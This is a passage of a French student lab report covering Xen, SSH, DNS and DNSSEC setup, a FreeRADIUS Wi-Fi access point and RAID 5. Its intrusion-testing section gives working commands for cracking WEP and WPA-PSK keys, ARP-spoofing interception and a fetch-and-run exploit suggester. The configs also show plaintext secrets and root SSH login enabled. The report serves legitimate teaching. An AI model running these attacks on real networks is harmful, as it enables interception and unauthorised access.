 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Nous avons résumé les étapes réalisés dans le fichier suivant. Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
